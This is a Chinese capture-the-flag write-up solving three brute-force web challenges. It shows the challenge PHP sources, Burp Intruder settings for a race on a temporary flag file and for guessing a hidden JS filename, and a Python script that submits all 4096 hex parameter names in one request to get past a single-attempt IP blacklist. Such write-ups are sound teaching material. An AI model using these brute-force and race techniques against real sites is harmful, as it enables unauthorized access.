三道超级简单的爆破题
时间
<?php
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
$txt = file_get_contents('flag.php');
$filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
file_put_contents($filename,$txt);
sleep(10);
unlink($filename);
}
每次按照要求的cookie去请求index.php都会有十秒的时间去访问包含flag的文件,所以开两个burp爆破即可。
-
第一个burp爆破用Sniper模式随便加个GET的参数去带
cookie:token=hello
去访问index.php,爆破间隔十秒 -
第二个burp爆破用Sniper模式去访问
u/$payload$.txt
,payload采用md5的encode
象棋
查看源码有个:js/[abcmlyx]{2}ctf[0-9]{3}.js"
很可疑,burp爆破之,爆破策略:
- 模式选择
Cluster bomb
,设置三个payload位置:js/$p1$$p2$ctf$p3$
- p1: simple list [abcmlyx]
- p2: simple list [abcmlyx]
- p2: number 100-999 step 1
攻击
<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
die("您的ip已进入系统黑名单");
}
var_dump($ip);
if ($_POST[substr($flag,5,3)]=='attack'){
echo $flag;
}else if (count($_POST)>0){
$ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL;
file_put_contents('u/ip.php',$ip,FILE_APPEND);
}
echo '</pre>';
array(0) {
}
$_SERVER['REMOTE_ADDR']
不可伪造,那么一个ip真的就只有一次机会了- i春秋的的flag格式是flag{小写MD5},所以
substr($flag,5,3)
是[0-9a-f]{3},16的三次方种可能 - 爆破次数只有一次怎么办?是不是被平日爆破的思路限制了?
- 没有限制post参数的个数,那么就生成所有的参数名字,提交一次就好了
python脚本如下:
#!/usr/bin/python
# coding=utf-8
import requests
s = '1234567890abcdef'
data = {}
for i in s:
for j in s:
for k in s:
data[i+j+k] = 'attack'
url = 'http://781e5ea171c945ed997e895070a5a79490205fbc7d574566.ctf.game/'
result = requests.post(url, data=data)
print result.text